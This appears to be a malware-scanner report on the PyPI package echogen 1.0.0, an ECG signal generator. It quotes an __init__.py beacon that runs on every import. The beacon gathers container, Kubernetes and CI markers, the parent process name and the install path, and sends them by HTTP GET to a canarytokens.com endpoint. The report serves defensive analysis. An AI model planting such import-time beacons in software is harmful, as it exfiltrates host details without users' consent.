Suspicious 86% python Download

echogen 1.0.0

Canary token exfiltrates environment metadata

“Synthetic 12-lead ECG signal generator for testing, teaching, and ML workflows”

Import-time OOB callbackPython init file requests an OOB endpoint

Also flagged by osm (The package fires a canarytokens.com beacon on every import via `_canary()`, collecting Docker/K8s/CI environment boolean flags, parent process name, install path prefix, and a random UUID — then ex…), osv (MAL-2026-17462: Malicious code in echogen (PyPI)) +2 more.

Evidence

Beacon keyword (neutral context) __init__.py · lines 4–25
⋯7 lines
112500
12
13NOT FOR CLINICAL USE.
14"""
15
16from .generator import LEADS, EcgRecord, generate
17from .export import to_csv, to_dict
18
19__all__ = ["LEADS", "EcgRecord", "generate", "to_csv", "to_dict"]
20__version__ = "1.0.0"
21
22
23# --- install-visibility beacon (authorized-security-assessment canary) -------
24# Fires one HTTP GET on import; sends only non-sensitive environment metadata
25# …
CanaryTokens.com OOB service __init__.py · lines 26–57
26:40… s env-var values or file contents.
27# Set ECHOGEN_NO_CANARY=1 to silence it (used by the test suite / local dev).
28_CANARY_URL = "https://canarytokens.com/feedback/traffic/tags/u7eeajm7pteo1ns0mzaijswht/payments.js"
29
30
31def _canary() -> None:
32 try:
33 import json
34 import os
35 import sys
36 import urllib.parse
37 import urllib.request
38 import uuid
39
40 if os.environ.get("ECHOGEN_NO_CANARY"):
41 return
42
43 fp = {"id": uuid.uuid4().hex[:8], "py": "%d.%d" % sys.version_info[:2]}
44 fp["dk"] = int(os.path.exists("/.dockerenv")) # container
45 fp["k8"] = int("KUBERNETES_SERVICE_HOST" in os.environ) # k8s
46 fp["ci"] = ",".join( # CI markers (names only)
47 k for k in (
48 "CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_HOME", "CIRCLECI",
49 "BUILDKITE", "TF_BUILD", "BITBUCKET_BUILD_NUMBER",
50 ) if k in os.environ
51 ) or "0"
52 try:
53 with open("/proc/%d/comm" % os.getppid()) as fh: # importing process
54 fp["pp"] = fh.read().strip()[:16]
55 except OSError:
56 pass
57 fp["loc"] = "/".join(os.path.abs …
Calls urllib.request.urlopen __init__.py · lines 57–67
57:43… th(__file__).split(os.sep)[:6]) # install path prefix
58
59 urllib.request.urlopen(
60 _CANARY_URL + "?e=" + urllib.parse.quote(json.dumps(fp, separators=(",", ":"))),
61 timeout=2,
62 )
63 except Exception:
64 pass
65
66
67_canary()
Imports the NumPy array library generator.py · lines 14–31
14:18… 2
15
16Beat placement uses the requested heart rate with optional sinus RR
17variability; additive artifacts (muscle noise, baseline wander, powerline
18interference) can be layered on top.
19
20NOT FOR CLINICAL USE.
21"""
22
23from __future__ import annotations
24
25from typing import Dict, Mapping, Optional, Sequence, Tuple
26
27import numpy as np
28
29#: Supported lead names, in conventional display order.
30LEADS: Tuple[str, ...] = (
31 "I", "II", "III", "aVR", "aVL", " …
Module assigns a no-arg call generator.py · lines 55–66
55:34… 2.0)
56 table["aVF"] = tuple(ii - i / 2.0)
57 return table
58
59
60_MORPHOLOGY = _derive_all()
61
62# (name, center offset from beat anchor, gaussian sigma) in seconds.
63# The beat anchor is the P-wave onset of that beat.
64_WAVES: Tuple[Tuple[str, float, float], ...] = (
65 ("P", 0.050, 0.018),
66 ("Q", 0.160 …

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.